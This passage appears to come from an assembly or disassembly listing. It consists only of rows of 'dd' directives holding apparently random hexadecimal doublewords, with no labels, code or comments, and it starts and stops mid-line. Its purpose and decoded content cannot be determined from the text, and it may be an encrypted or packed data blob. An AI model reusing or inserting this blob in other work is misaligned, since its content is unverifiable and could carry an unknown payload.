9F31C48Eh, 0FC977EE7h, 6182439Bh, 4E42897Dh, 0D7D90C09h dd 1840DE03h, 2B53F80Dh, 0C14539FFh, 79111B80h, 0BB726838h dd 0F3FBF102h, 5FC02B4Dh, 0D100FE37h, 0A16AE8D7h, 9D857229h dd 93BBDC68h, 0D22BAD12h, 8C801AECh, 363211B2h, 0A1645F00h dd 21C370B4h, 0ECC7250Fh, 8D68A17Bh, 0F99E01D6h, 8B5BB3A8h dd 0B8A62DDFh, 58AC03F4h, 0CD0A29F0h, 4746CC2h, 9F5BD61h dd 0B231746Fh, 4C380E21h, 527D00C1h, 4903BEh, 0F675115Fh dd 0AE1FB36h, 0EABD354Eh, 3E27FDC4h, 0A072A64Ah, 459BBB3h dd 8B75ECD1h, 0A217E8F8h, 0D88CFB80h, 7A4BA610h, 0D7E984C7h dd 1B11D6B7h, 0CD59C09Dh, 0ABB1AF10h, 8D7829FCh, 139D2E4Eh dd 0FF2F043Bh, 0E0C4E6E1h, 43C6DD0h, 0BC30F84Eh, 0A229E812h dd 0F0D3291Dh, 26D23570h, 9F51514h, 0D4D9859Dh, 241C6908h dd 1ED09B2h, 0F9C24FD1h, 0F42D5403h, 0B58A0800h, 0D50225FAh dd 9D311C3Eh, 7247E7B9h, 0CF258D1Dh, 0BAFB445Ch, 7F57702h dd 4CB77D60h, 31955307h, 9757FA29h, 884D7F89h, 0D5CA83C0h dd 173AF736h, 0B8CAB96Fh, 3AB40323h, 11BD09F8h, 9B33BAF5h dd 12B2FD5h, 4C7B3F09h, 0E15976BEh, 55562E9Fh, 4804DD2Dh dd 1E9CAE5Fh, 982C5AF1h, 0F30B81A9h, 5F6AF983h, 64C0F6CDh dd 0BA8ECABh, 54741D31h, 9B701B74h, 0BB5001FDh, 5A43EE3Eh dd 2D4DBA8Bh, 0AD0CD1FAh, 4886205Dh, 0EB988Ch, 43471AB9h dd 37186A79h, 0BEC81700h, 562E4639h, 0B3501BFh, 585B05C1h dd 20E4922Bh, 15BC02ADh, 0B3AB168Ch, 0DDEEBD66h, 0CF219593h dd 9528ADE9h, 3AD60325h, 1A77169h, 949ACEBBh, 83322F4Fh dd 847FE389h, 810C70AFh, 30469CFh, 39B76B9Bh, 9AF374AEh dd 9A2C071h, 7856307h, 0BF97C836h, 7C065074h, 8975B4B3h dd 2DC49B4h, 3E7CA423h, 0C960C2B6h, 0B38017FDh, 9D03123Dh dd 0E93556E9h, 8C15ACCBh, 0F355252Eh, 0E42EEA2Fh, 0EEE00F7h dd 1D1870E3h, 21ECF515h, 0D84B2F30h, 4BF0446h, 228E26Ch dd 3E5CB296h, 0A6E100CFh, 5F9860F9h, 2B7E850h, 0A7BA66FEh dd 227F61ADh, 5EE1C220h, 51FB27BDh, 9C6688DBh, 0A48D24B4h dd 145D08E2h, 0A2DE6802h, 8FC1617Ah, 346A206Ah, 0A13E2124h dd 5086E065h, 9773BFA3h, 0DE319B99h, 0D9F4ABFFh, 0D998008Fh dd 0EDE1140Eh, 56E47400h, 8EB7A245h, 20A55ED8h, 423CC14Ah dd 9CD2D27h, 0AA897DE1h, 33008BF9h, 0E03DF16Eh, 0B0BD058Fh dd 8A8154FDh, 7B7F2562h, 29C8692Fh, 2716BDBFh, 8CAB761Fh dd 10990A0h, 1409399Dh, 0EC574BD6h, 444802F5h, 6D615B5Dh dd 9B69E0AAh, 96977419h, 0DE88C9DAh, 2300CFE4h, 65C78E2Ch dd 4F2E6456h, 2B34B1C4h dd 1AFBC229h, 844E933h, 35409B4Fh, 9A0362Dh, 7CBD2366h dd 0C31CF82h, 0D2A61D57h, 15568455h, 69F10412h, 2612AADFh dd 218E9FE2h, 88F6BCB7h, 65F23228h, 6B599E57h, 82563208h dd 0BE055ADEh, 218D9B53h, 57AC0C3Fh, 5B4AF808h, 0A62A12C9h dd 7571F7C2h, 202BF013h, 0D98B5716h, 2885709Dh, 0B5760E91h dd 0CA25785Eh, 0EF53DFAFh, 0FDA078h, 0AC4235C4h, 1A818D29h dd 0A99D67C2h, 0EB375E06h, 0F0738570h, 0E1DEBE09h, 6F2C8061h dd 9715E930h, 0DDC0CD9Ah, 96812C05h, 1366F024h, 307E84BBh dd 3F7317BCh, 86519700h, 0D089E31Dh, 0F65226A5h, 2407A806h dd 24F45933h, 8FB900AFh, 5770AD84h, 3A406296h, 107EF27h dd 0DAC1A679h, 20F460C5h, 0E9B5BB3Ch, 0C73159DDh, 9FC2DB7Fh dd 248770Bh, 52317DB5h, 84FD4B82h, 0AC00BD1Ah, 62008C1Ah dd 308A1550h, 588BD1BEh, 68C032DAh, 1103C687h, 0F24EE7B8h dd 0F6D29BE9h, 4C7CA0A9h, 95091265h, 81BA207Dh, 1E5648D7h dd 0E65731F6h, 5F0112B1h, 0EA814460h, 2F51D849h, 5C618981h dd 2E4DEBB8h, 2BEE6F40h, 95311648h, 129FB2E5h, 0BAB91441h dd 1CD8B0D2h, 95878282h, 0A670730Eh, 2EC53A84h, 0D51CD3B2h dd 76A9801Fh, 2C17FB6Ch, 0D00BC216h, 0E7695BC0h, 0EC09B52Ah dd 53974778h, 450C7039h, 0B5FCF000h, 0D6E4F4DCh, 9010BD14h dd 67009304h, 6D41A2F7h, 4E0559E3h, 0B97684D3h, 79B87Ch dd 0B4E20B64h, 0CF44413Bh, 6A8D764Eh, 112D386Ah, 91106F00h dd 5E6EB632h, 0BD51043Ch, 0E8FAFE52h, 8FE75E5Eh, 0F8C1E8B1h dd 2B131A34h, 75A2E59Dh, 0B614044Ah, 0A99C95B5h, 2B3EC15h dd 8EBADCD3h, 35DC5E25h, 8CFA5616h, 0CD209528h, 3ED39D2Eh dd 0FAC38000h, 13BFD381h, 7753757h, 4968B753h, 12C528CDh dd 0DE0022A2h, 7BA00166h, 5A009875h, 7CC71FF7h, 0B92740F3h dd 0C8068FA0h, 0C2254F84h, 2F421975h, 4E582565h, 0E264014Ah dd 0CC1A087h, 629A2191h, 0B6E65A0Ah, 4A3016B2h, 9D204E0h dd 0AE22D585h, 4922A08Eh, 96501290h, 0E4BAFECEh, 36B07F88h dd 0B237CD12h, 0F30380F2h, 0BAAE7559h, 5B3C81C8h, 5CC45F5Bh dd 0F5851B00h, 0B092BED3h, 0E2964E0Bh, 4F200079h, 0F14443E4h dd 61D1CBBh, 0E13ED723h, 0B7488997h, 0D6495EFBh, 0EA051746h dd 0BA2C36C1h, 0D2BF0263h, 0C4BB7606h, 0E010410Dh, 0D2E0AD18h dd 6560029Ch, 0A62CE19h, 0F4A53A74h, 3900F483h, 0C29CD4A8h dd 4E7DCA1Bh, 353A8A24h, 0E6BF3059h, 0FD6E085h, 0D8DA0022h dd 750553D1h, 4DB7F982h, 601B6430h, 7B3FF9DFh, 0DDBF175Dh dd 0F17712ECh, 652E02Bh, 0D332032Dh, 1817D921h, 0B3F017C2h dd 2E43019Fh, 2B4AE974h, 27B65FC4h, 6A67F3E1h, 57369382h dd 82527684h, 4EC9B1B4h, 0E8352F5Fh, 41967130h, 1B620419h dd 0B5F6CAAAh, 5A096B9Dh, 54A9EAF8h, 0F203DC84h, 0C5C0BFE8h dd 0A0EA095Eh, 0D4D36A90h, 1A9BE78h, 0D051F969h, 89F707DDh dd 7BD187A4h, 7261D0B2h, 0E8C98DA0h, 8093EB49h, 7CD2AD27h dd 7EE0ACh, 473B42CAh, 0C083851Ah, 78C8739Dh, 0D600F5C6h dd 758C937Bh, 0B724CE03h, 44079C4h, 0F9014482h, 0D46097AFh dd 384E7Ch, 0E05D8267h, 0D9D31EFh, 0B79F8DB9h, 8274667h dd 1885B529h, 54DD052h, 0BD31F71Dh, 0C425AFD1h, 0F4E342F6h dd 34891FC0h, 0B5A4F09Fh, 0E5257FD4h, 3EA6110Eh, 0C92DA789h dd 6E6E02BFh, 453A160Ch, 0E5000FF2h, 0A765F78h, 0B4000704h dd 0E3B157CEh, 4F3EA3Dh, 1DD919D6h, 0C240A850h, 5CE88A60h dd 0B6D7228Ah, 0D9E6DC6Ch, 33573010h, 0FDB4131h, 6EFD4988h dd 1085EAC5h, 0F051E6BAh, 2DBBEAB5h, 0EE04FB9Ch, 5E744916h dd 0E6D37179h, 510C5009h, 6E2FAB6Eh, 57330269h, 745EE37Ch dd 95016102h, 9FDB6C0Dh, 18F1191h, 0BC2BB924h, 1364A595h dd 0B75B6CB8h, 2B20E7E0h, 5BE0C9h, 7101F939h, 1BD9B589h dd 6290BA97h, 0F7C7B358h, 1555B5F1h, 2E60CA6Bh, 3964F4DAh dd 0BE982FBCh, 0E68019F5h, 25F9F070h, 0FE7C71E4h, 44167269h dd 9D3489B8h, 19B867FDh, 0DD8D1179h, 2212D325h, 16D2F715h dd 0C8FB15E9h, 8533319Fh, 4E2B8B61h, 8B4E2044h, 0C9F029D1h dd 7AE99BC6h, 584DB055h, 441CA9FFh, 3B34644Ch, 0AC7D1534h dd 0EB810EEEh, 323DE49Ch, 163B62AFh, 0BCDDBD10h, 174C9A28h dd 0BF1D4C0h, 0E384F596h, 0E2B876D8h, 5912C5D0h, 8841BD1Ch dd 0B2D9A72Ch, 0E94B9EA8h, 0DAAD45C4h, 90751F92h, 518A3C32h dd 496605C9h, 4E5E0426h, 81651450h, 0DB814253h, 4D7F7F42h dd 5E3AE072h, 91360D0h, 0ECB22255h, 0F4D60400h, 0CCDEE026h dd 3E1EF91Dh, 0C6FE8687h, 0D1BCB3E4h, 0D7AAE680h, 0A81F5A3Bh dd 1D006B7Fh, 3916199Dh, 5B7625AEh, 0CD9707EEh, 76AD412Ah dd 5C4DFC48h, 66592200h, 3DEFBBDAh, 0B9781271h, 6B22C48Ah dd 0E949002Fh, 0F7ADCA6Bh, 7C4F0A48h, 4FBFC3Bh, 0B88232EBh dd 4D0269F6h, 0C72DC0ECh, 65ECBDAh, 242A0BB1h, 0E096B69Bh dd 491B97h, 59367427h, 8B5A8252h, 234AFABCh, 0DD244D09h dd 0A2873732h, 695EFBE9h, 81179155h, 12D040E6h, 48757370h dd 0E1135D01h, 0F229AF07h, 67A8A079h, 3A705501h, 8239F28Ch dd 0C5C55C92h, 0ACA7BDCAh, 94078C1Ch, 9C4F68CBh, 71B9A021h dd 53DB302Eh, 0B03BCCBBh, 0C55F252Eh, 0F88A62DCh, 9DDC515Ch dd 0B8251846h, 12DEC5FAh, 0ECF5BD85h, 0CCF40084h, 0A160B80Fh dd 191EB418h, 4A38FB8Bh, 50ECFDA9h, 0B62A7C01h, 0AC77C816h dd 0BC71D043h, 9BD3E1B9h, 858E9F56h, 0C71BC2F9h, 0C225D68h dd 2F1E28C9h, 0DB6F043Ch, 1CEEC640h, 26DAE48Dh, 13B0FC92h dd 560DE488h, 14975F71h, 1D2997DEh, 0DA44B559h, 0A0A2B635h dd 4F41F6Eh, 0FC648579h, 0E03BF660h, 97989985h, 994B10Dh dd 97132BF7h, 491372A2h, 0C072EBD9h, 95027A50h, 57EC86A4h dd 6417DEB8h, 5FC10473h, 0CB34AC33h, 2B2C8429h, 81B870AFh dd 3612F6DFh, 20EA56F0h, 95B34617h, 1900FC79h, 0BB37DA6Bh dd 49BEC951h, 8C4CBB53h, 2149BC58h, 180003BCh, 0B29F6536h dd 3EB39932h, 0E01E811Dh, 0BB4287D2h, 6849F133h, 4582726Ah dd 6E0CE4E3h, 53ACE113h, 44DA6E01h, 8C87815Fh, 0C93D95F3h dd 20DB682h, 6EBA354h, 0EC19358Ch, 0FC4EB485h, 70937F00h dd 0F7784DE8h, 0A8A25AADh, 0E9AC4492h, 7AFBEA5Bh, 474D17B7h dd 9DACC9C4h, 0ACFC84D3h, 23B6D39Bh, 0E34468E2h, 598B5650h dd 561DCABFh, 0AE46BBDh, 77BA9A95h, 6B912089h, 0F0012606h dd 967E284h, 938D3DACh, 0A584698Eh, 59F0A427h, 93FC2140h dd 0D3800463h, 4E65B830h, 821D2B6Eh, 2E41447Fh, 0C08A35Fh dd 679DBD33h, 78BB0096h, 500E17BAh, 76F311B3h, 9A8CF133h dd 8922F03Eh, 2BC9B512h, 5AE12DAEh, 9718C03Eh, 0FC960C70h dd 0FD1E0616h, 2511870Fh, 0E8E21395h, 2E5D655Ch, 2F3EADF9h dd 0B90955h, 3EF7E115h, 0AB680129h, 50099C9Bh, 3F3352h dd 5EF4CED3h, 129416EAh, 0E5D562DBh, 0C9012B67h, 9839854h dd 4A8DB820h, 0CEF9B90Ah, 2445C401h, 0B94EB1F9h, 0BC9B497Fh dd 14762501h, 70E82844h, 0E0CCB703h, 25773C44h, 0F8BC96Eh dd 46D6E25Eh, 3BB00417h, 8F817F5Dh, 0BF001419h, 0D6128791h dd 30FB6177h, 41A5097Fh, 668C0E00h, 883F3E97h, 1BC3BDBFh dd 15F0FF4h, 15B2BE36h, 4E7B8F6Bh, 0B300D36Ah, 613E31Fh dd 8724B5C9h, 311030Dh dd 0FB25144Ch, 1D12987Ch, 538929E3h, 801BBD7Fh, 3D71501Eh dd 0BEA0FC60h, 0F19D53CAh, 3EE98B90h, 97D8BDFBh, 0EAA302CFh dd 4505E379h, 0F2A835D7h, 0F0D2E639h, 0FB0499A6h, 822A10C2h dd 0D5B88AADh, 0FC11D012h, 7B8438F2h, 2692104h, 68C50923h dd 3C60FF04h, 2A4CEBh, 6308BCA6h, 845A1F54h, 0D8560101h dd 197F269Dh, 9E29A22Ah, 84B763B3h, 0D2699AABh, 63AF9Ch dd 980E95D5h, 96B1408Dh, 5D9D3108h, 0A4D43707h, 0ABB91224h dd 0A889E9D3h, 64C5482Ah, 1E19C110h, 23340F96h, 0AAB2685h dd 4B7BF891h, 1435B003h, 0C5BD8F12h, 0E6A47DBCh, 27B3E007h dd 53710B4Eh, 0AFF60125h, 1C415069h, 0E9B7D035h, 8DEDAFB3h dd 0E76349E0h, 41760974h, 0E624B9F9h, 0B3CBEB01h, 8167DA5Fh dd 7CA11C22h, 9EDD202Bh, 0A8EEE55Ch, 0A7E3D301h, 122787EFh dd 342BF271h, 0B22AB694h, 2EC43114h, 6FAF8416h, 0DC9400F9h dd 0ECBB66A5h, 720497D8h, 29ADC209h, 0CDFE5704h, 2FFD21B6h dd 5C5BB892h, 0B0606161h, 0C6DC40D5h, 614B46DFh, 26B95185h dd 0B588BBD7h, 0FE29005Ch, 49A9DE07h, 2161E75h, 17B66A60h dd 364AEF4h, 576DF209h, 2909AA14h, 2023358Dh, 0B9666080h dd 21C85F13h, 0C4D02E72h, 75001202h, 67F056A9h, 5AB6F34Ah dd 0C0C4EC61h, 3B483341h, 12964A75h, 0AE45C491h, 1923466Bh dd 0B9AA0800h, 0B8C1D43Bh, 69981C69h, 0CCE654Fh, 0CA58B0B3h dd 67AE0058h, 4416DAE8h, 8D3A891Ah, 128E4B25h, 0D1EE8125h dd 0C578300h, 0E738CECFh, 67E400B3h, 0B215088Eh, 0A625B020h dd 9D2791Ah, 0B8005A52h, 505BD5B6h, 716824A8h, 6BB72500h dd 83F64808h, 0F5AE0036h, 0F2DC0B2Eh, 0BF1D6EE9h, 27123DF7h dd 0B96252BBh, 17E2B8BEh, 0C8CBBECAh, 8B007B74h, 4886E18h dd 12CC30Dh, 7369D3AEh, 3EE9EF49h, 0A13116A0h, 0EB4A2288h dd 0ECFA8B16h, 0F05A758Ch, 14B27CE6h, 237BD131h, 66F0F583h dd 47030CEFh, 19261D5h, 0E580DF54h, 0B7307D3Eh, 1703F084h dd 9D08F608h, 0D8EDB52h, 355DE987h, 821B9108h, 7C3671BBh dd 0BD89407Ch, 0C5B5188Dh, 0D65FA4B2h, 0DF34AC5Ah, 89A58AACh dd 0CF2F1AE3h, 36EF80FBh, 9719F971h, 19918635h, 3514B280h dd 38125E12h, 0C2A4C6F8h, 959F923Dh, 1D9184BDh, 0F0DC8587h dd 0B9092CF4h, 771C1814h, 27111095h, 232AC4Fh, 0E933B5C8h dd 0A284573Ch, 1676B853h, 13BA255Dh, 804FACFEh, 0E352E0CAh dd 0AB9F0954h, 7D711699h, 0D6C7809Ch, 0B9106050h, 5E924CF7h dd 8522FB29h, 6900D661h, 0ABAF0554h, 7121D3F8h, 55E2016h dd 9AEBF88h, 6A735EC8h, 0BDE2C74h, 861B7E33h, 3116D5DAh dd 27BF7985h, 0EBF862DAh, 8074B7F5h, 6223FD39h, 0C290610Dh dd 5E2B0925h, 4D35C99Dh, 913081B8h, 1E860FD2h, 8D251BBBh dd 0FA501074h, 0F5F20010h, 885E625Ah, 8034594h, 9F21B312h dd 9B3DE09Eh, 4DB52C89h, 0BF508E7Bh, 47A979C2h, 9F3DD489h dd 1114BE02h, 0D587605Ch, 51DF8232h, 0E0501355h, 0F8821221h dd 252B9810h, 85D31D41h, 4A0CE0F3h, 90DA24EAh, 1C610BB5h dd 97764CDFh, 2BBF1300h, 554B9025h, 9BBD298h, 0D1FFB75Dh dd 42C01D4Dh, 0B344886h, 2157BE3Eh, 0C7811880h, 8B19327Bh dd 61F7A58Dh, 0AC92843Ah, 5E7FA3D7h, 7E6BFB51h, 4F58A101h dd 0D881270Ch, 0D91DB70Fh, 0D7D6026Ah, 68FBBF03h, 50083B90h dd 0A24AA8BBh, 62EA00E7h, 0B44C9D8Eh, 2F82B9FDh, 5CD0CAFBh dd 0C94C02A0h, 1ACDBD33h, 80C751F7h, 0C04FBCBBh, 20007635h dd 4650FD94h, 0E8196DC7h, 8E4B4BE9h, 0CA8324B0h, 0DEED2Eh dd 0E7F65D6h, 6C192322h, 5C41EF96h, 3ECC69F2h, 8B800116h dd 0E47FDBEFh, 2FD0C4B3h, 1A979BE0h, 0D53082C4h, 3D9D4406h dd 0C22F836h, 0F0A2605Eh, 0C9C66D00h, 20D09E75h, 89B52316h dd 615E5B44h, 8A84D2B9h, 0B8CEB9DDh, 81958C14h, 0E70AEB66h dd 454203Bh, 9704B4FEh, 0D9462A6Ch, 253D4BC1h, 0BAD75B02h dd 504D7B87h, 2B48FD71h, 96C81CA3h, 752256C0h, 0BEFF6A5Ah dd 0C700DC34h, 0F82BBEAAh, 0EF38167h, 69D7B182h, 0C311E3C0h dd 5BB83321h, 0FB9F24ECh, 5DB7D029h, 27678301h, 0E72C2AB2h dd 25E05CE6h, 8204ECCh, 388C9701h, 95128917h, 54F42709h dd 34874B0Fh, 0E6F62180h, 95303F70h, 31B06746h, 6D4227C7h dd 895B031Ch, 1C3471E4h, 401A31EFh, 22BA120h, 90725E61h dd 15B584C2h, 14FA9B77h, 2FCC535Bh, 0B8E6B55Fh, 9FAD858h dd 0DD698D09h, 0A5401738h, 4BC420Bh, 9D88D041h, 0B725627Ah dd 0DA8CE31Bh, 0AF40D7FBh, 8197FFBFh, 2005B585h, 0C02C7112h dd 5691A835h, 3ABF1766h, 50A68028h, 4750554Ch, 114B81A9h dd 1E238EC8h, 7C0BB9BDh, 0A0FA00C5h, 264B12F0h, 2B0B94D2h dd 146CA5Ch, 0F7045A4Ah, 347862CAh, 2D875E4Eh, 0F996CDF1h dd 0B7C4C5BDh, 93D90DDEh, 4550CA0h, 0C23A3BBh, 827CBD40h dd 0DBEB749Eh, 0CB3078B3h, 2B98A471h, 9216A54Ah, 19046C7Bh dd 0BC4EA61Ch, 10A8D06Eh, 0B9090379h, 0AC5B0F8Fh, 8DDBDFD2h dd 921DF327h, 294BF1F8h, 12B8B86Fh, 82FDB501h, 3755FC36h dd 0A0900AE4h, 0D11D17DCh, 6F998DD1h, 0BFB8F609h, 2BCD84AFh dd 546EAED2h, 8438250Bh, 710053E7h, 7652250Ah, 378807A7h dd 6969BF87h, 7E6BAFDCh, 0F7141284h, 0BBFDD695h, 0E107B6A8h dd 0BD2BAA7Fh, 0FB2FBF9Ah, 570D7886h, 0CF38661Fh, 60BEFD16h dd 24219DBFh, 1BFB097h, 0E8254E95h, 78B8A48Ah, 0D3D5BFC3h dd 97572CEAh, 63196452h, 48F187D2h, 206F2E72h, 424733F0h dd 63FC1609h, 0A42C54A8h, 0E81B9659h, 2B49E27Dh, 1CBC7818h dd 2F67FB12h, 18CD30EAh, 8E485C59h, 4CE3D249h, 0DD952905h dd 48DEE27h, 80CB9A3Eh, 0B099EECh, 0AACF2580h, 70094CE5h dd 0D0057B04h, 971C1C38h, 0FC529964h, 5C8D41F2h, 0BD416D5Eh dd 9D53C0FEh, 0E72E25EDh, 0D0CCB3D4h, 6D949717h, 4C30ED45h dd 806009F9h, 337819D3h, 2D17B7BDh, 0B302E356h, 0F6E1803Eh dd 9F0EDE23h, 0A094DE38h, 218D0BE5h, 5EA297B1h, 0BDFF01B0h dd 0F8BB00FBh, 89300317h, 41699D38h, 8D1B117Fh, 0AD89AD5Eh dd 0A5F7603Eh, 2A02C4DCh, 0E5087E4Eh, 0A79F5E22h, 0FC40714Fh dd 24C511Dh, 6E74DF28h, 0D46160ACh, 42E84961h, 520F32ACh dd 0F3C043ACh, 6F06D1F5h, 98287F00h, 423EF097h, 0B2544CA7h dd 12903105h, 5D16EBEBh, 3F779ABDh, 205B0FFAh, 0DD24332Bh dd 137D7300h, 566DF238h, 4F95011Ch, 2ABC2803h, 1A1D7076h dd 585BBA27h, 92B7B567h, 0DCBA7A09h, 26360C33h, 2009BF44h dd 5E1A3E7Eh, 0DBBB588Bh, 0B205434Fh, 0A3EB5856h, 0C02C48DFh dd 0C3D9078Fh, 0FB281F98h, 3CC900E3h, 0A03518Ah, 25247195h dd 711A473h, 3D3DF05Eh, 0AEEA4613h, 0A2B864EEh, 64B8071Ch dd 2C207858h, 3C5ED1EDh, 8CCB5F61h, 81500F2Fh, 3E906018h dd 5A2B4120h, 0AACBE861h, 137A0070h, 0E9A4DB80h, 0FB9501A5h dd 0BCD71724h, 96E8B1EDh, 0E87A8DE5h, 465F27C5h, 0AD619F22h dd 9BA26B1Bh, 663EC29Dh, 374673Ah, 0D8045164h, 0BA9D735Fh dd 35773225h, 925D2FC1h, 5CD6B2E6h, 196D27F1h, 0E96267C0h dd 95C714FEh, 0B910C9F8h, 4B305E09h, 0B5BAF5Ah, 34899D4Eh dd 80C9B757h, 687332FCh, 89172D27h, 0D2BEF1B5h, 0EF7F3EC0h dd 0EA906477h, 198D6462h, 233F0982h, 25A823F9h, 0E3071460h dd 0E141CE36h, 67C673E0h dd 68150230h, 84BE0D6Ch, 0FAA8B241h, 93029A76h, 4D7B60F6h dd 0B5ECEEEFh, 2284089Ch, 8B000283h, 0D2E381FBh, 9D28A0B4h dd 6C600D19h, 1F21200Dh, 539AC1BEh, 50770036h, 913571BBh dd 0B7954D77h, 81DF2F9Ah, 139D9FC9h, 0A14BD826h, 0EF953E5Ch dd 24BAD216h, 0F4CDB800h, 43A8C3ADh, 0B5903C7Ch, 0C7297525h dd 33A521B5h, 77693D82h, 97575632h, 0C49DB8E9h, 80BC01D5h dd 6FBD97EEh, 8B5ABFA8h, 0C84BA0A2h, 0AC0150F3h, 0DAC5B4F4h dd 282FF541h, 6BD0826Ch, 9CC01493h, 371B1B5h, 0DE82E6Dh dd 4AADEF07h, 5109DC01h, 4DBA616h, 121FED85h, 883BA000h dd 9761457Eh, 0D8298299h, 719D28B5h, 3DB56BEFh, 380AB202h dd 71C88963h, 0B18CB376h, 0A95009F4h, 70467B6Bh, 421C058Eh dd 22C69BDCh, 255CBE0Fh, 0F14E0B11h, 5F6F1A97h, 49700B08h dd 42001659h, 0F6636211h, 66E30304h, 201A48BCh, 0D22CBC9Ch dd 9F8074F8h, 0FF2529D5h, 5500ACEAh, 0BE280F7h, 76E57BB0h dd 3A8C27B3h, 6E091019h, 5B2503B2h, 0BB041FE6h, 72329B3Fh dd 6032B2B3h, 4568CFB0h, 6181195Dh, 0A7E6D5C6h, 0C08A0671h dd 952311D0h, 53690671h, 0EC1E5118h, 3409A7E2h, 0D7C44B9Fh dd 6F57D031h, 21EAFA20h, 0B53100B0h, 6BCFEFFFh, 160BB1C0h dd 418F8D61h, 0A0522D33h, 0BF2BF85Fh, 12C0EA4Dh, 4CE0AE0h dd 31C13FCDh, 612BB56h, 17B7EBBh, 903C0F10h, 0AC89D5F7h dd 7DFE2CE9h, 50B75B5Ah, 1F04BDECh, 9AD9BC0Dh, 84950083h dd 0BED324BAh, 3B6789h, 0CFDF69DCh, 40EE2E5Bh, 3A4B9500h dd 0CA37D555h, 754148F1h, 93B3132h, 63A6BB20h, 6DA93B1Ah dd 24EC6B73h, 5DF39ADFh, 7CD8EEABh, 96168C12h, 1249290Eh dd 12239728h, 0B91165BDh, 8C15BC5Eh, 0E5E3FE25h, 3E321145h dd 48B1AD33h, 9DD98A68h, 4DD75C8Bh, 0ED43C057h, 5A02F32Eh dd 579D3BF0h, 0D6E15EB6h, 5C001D46h, 0AC372752h, 6FE679ADh dd 0DD6A455Ch, 0E7BF2540h, 0F70890h, 84C168BDh, 9F4E8DE6h dd 29CCE54Bh, 0DBD1429h, 0ECA4BA04h, 0C76D2547h, 4B56919Eh dd 887AC1A8h, 0E49F52B4h, 0B66B1C0Fh, 0B9724475h, 3510BE33h dd 79A44EF2h, 8C614B5Fh, 59FC319Ch, 17C667CEh, 7526FBEh dd 0E49373CBh, 2570BD76h, 0A1C717FDh, 0DBD78081h, 162EC2E9h dd 80A19B73h, 1513084Ch, 4F8100BFh, 0C18B550Fh, 6227A2BBh dd 550A5E57h, 70AFA981h, 0BC35A8F4h, 81BB9315h, 16777DCh dd 32C5511Dh, 0EE91CDEEh, 0A00D3B00h, 2317F1D7h, 74E2D59Dh dd 9D860F10h, 80D8BF81h, 1C8C54EBh, 0C2E2D98Bh, 74EC072Dh dd 9A1DDEE8h, 5B8097E8h, 6423FFD9h, 0FE8B33E5h, 0ABC51DF0h dd 0E144D7D8h, 0B0E5520h, 0BD9910A7h, 226A2ADDh, 62BF1B17h dd 8409041Ah, 8FAB2299h, 0C91CC84Ah, 2E096B64h, 5D66D76Fh dd 1A2A7784h, 0B759C4ACh, 11B1C122h, 5CEB2B5Ch, 32EDE91Ch dd 5685244Eh, 29FBA9C4h, 4376E4A9h, 17F5E09h, 60AFDCBFh dd 78DD733Dh, 8C715BBDh, 0D1A505A9h, 2DF3C097h, 2E61812Ch dd 0BF8E3A28h, 9980833Dh, 0C7917F6Eh, 25C0E0CEh, 9BFB026Ah dd 487770h, 0CA72ACFh, 4DE3813Fh, 1A8EA80Bh, 8244A051h dd 0B1905B4Eh, 6C9A806Ah, 8E27739Fh, 0D4DFC800h, 48B78CF5h dd 0F095008Fh, 3502C52Ch, 19909050h, 319620EAh, 0C22DF196h dd 10FAB77Bh, 0E93A0A55h, 0E201BC4Eh, 48934BCCh, 1D25CFA2h dd 0E90AFD37h, 2D08DE57h, 525B1827h, 805A2EE3h, 3AA7ABCh dd 0CEA6C57h, 6BDE1F0h, 31231FE5h, 7841000h, 3BEE3F34h dd 8E36A301h, 8CC12069h, 3013B17Bh, 1C40792Ch, 40A1B490h dd 0A384EC47h, 3BBF4900h, 91671DA2h, 769025Fh, 0B32DA003h dd 97EA6675h, 4B7ED58h, 7FB99083h, 6A6CCA90h, 80026064h dd 852B4CF7h, 0CD29FD51h, 54AD8E59h, 9C03DE30h, 0D46CA93Bh dd 65FC88C0h, 9DF94B3Dh, 86E63B7Fh, 53755CA0h, 9FF36900h dd 99CF8170h, 323C092Eh, 3E04FF6Ah, 948E9C1h, 762A29B5h dd 0F997F4B4h, 0B7163E94h, 3412AF91h, 3D2257B6h, 1D8BC1B7h dd 8A510105h, 2B7786AEh, 55FAAB82h, 2EF8E0C9h, 1202E44h dd 6D128014h, 122EE218h, 22E27BB3h, 759D330Bh, 0BFC131C8h dd 0B0A94D09h, 1A62C17Bh, 581CAC04h, 22551606h, 568CAAB8h dd 12419126h, 0B9830A57h, 2B111921h, 0FFE562C8h, 8E8E8326h dd 154C58h, 9139036Eh, 47C250B9h, 0B5A0FB00h, 3B526818h dd 11829A8Bh, 1A09D985h, 5D41AEE9h, 4E497B82h, 0CB8142C0h dd 5E27CFFEh, 82E15C28h, 0C01B58Bh, 0A1C0915Ch, 355DF4Fh dd 595352D8h, 32426158h, 8931034Eh, 0D0BBADC6h, 0F61485h dd 381EEBF7h, 0DEEB9D7h, 0FBF7B7A2h, 2A4580F5h, 930C5B65h dd 77914F1Ch, 0B759D5C0h, 1780666Fh, 0F356B2BBh, 0C95F2599h dd 0B150789h, 2BF7E9B0h, 0C0F05660h, 0B948A5CBh, 26225A43h dd 0CD1C2A0h, 2408E595h, 5804118Dh, 514B0553h, 9E279589h dd 0BCDBBFA3h, 2D848CB9h, 0E5BB0784h, 0C95ADE62h, 9D2BF8A4h dd 0EEB66ABDh, 784FC0A7h, 0A32707C9h, 60375CA2h, 0E918DF81h dd 0B912411Fh, 7AFA1052h, 0D6AD5B71h, 3E312B0Bh, 0C9DE3D1Ah dd 98529F60h, 35543AC1h, 59662680h, 551BC3A2h, 0B5B3B1B0h dd 0D0B9FA16h, 24DAB71Dh, 12810972h, 0F82D4D73h, 35BC0917h dd 0D676D22Bh, 9EA32DDCh, 9FFE795Eh, 6ED235B0h, 28F8248h dd 0A501E571h, 0C5AE1C9h, 5832AE15h, 5809D533h, 8878B05Fh dd 0D5C916E6h, 0C018ECB3h, 0FD3F598Dh, 3BB61719h, 0F3C9AE2Bh dd 5E0D1830h, 0B021B788h, 17A4C5A6h, 0A0DE8BEEh, 5A4FCB17h dd 0B1298433h, 0F27A1171h, 0FB9D7A0h, 7A0030A8h, 0F12FA7A3h dd 1742210Ch, 0BBED9D89h, 28F592D1h, 0C2B98B6Bh, 0F10A810Fh dd 1DC32B81h, 40C5E550h, 53316C11h, 20B4178h, 54304A5Fh dd 7824F4C8h, 0A02F48Fh, 57ADB308h, 0B27BA33Ah, 265A850h dd 392856D1h, 1BFF8378h, 391F83Bh, 0FF5513CAh, 0A53604E1h dd 0AF38AE21h, 26178B6Fh, 8CFA0BC1h, 31078BD9h, 3FA4349Eh dd 